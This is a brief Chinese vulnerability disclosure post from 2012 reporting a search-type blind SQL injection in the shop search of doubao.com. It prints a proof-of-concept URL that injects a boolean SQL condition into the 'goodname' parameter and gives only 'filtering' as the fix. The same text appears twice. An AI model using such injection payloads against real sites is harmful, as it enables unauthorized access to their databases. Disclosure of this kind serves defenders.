豆包网的搜索型盲注漏洞与分析及修复方案(图)
时间:2012-05-30 10:27:03 魔新豆网
http://www.doubao.com/shop
关键词 电视
漏洞证明:
http://www.doubao.com/shop?goodname=%B5%E7%CA%D3%'and 1=2 and '%'='
修复方案:
过滤。。
作者 Passer_by
关键词 电视
漏洞证明:
http://www.doubao.com/shop?goodname=%B5%E7%CA%D3%'and 1=2 and '%'='
修复方案:
过滤。。
作者 Passer_by
本文标签: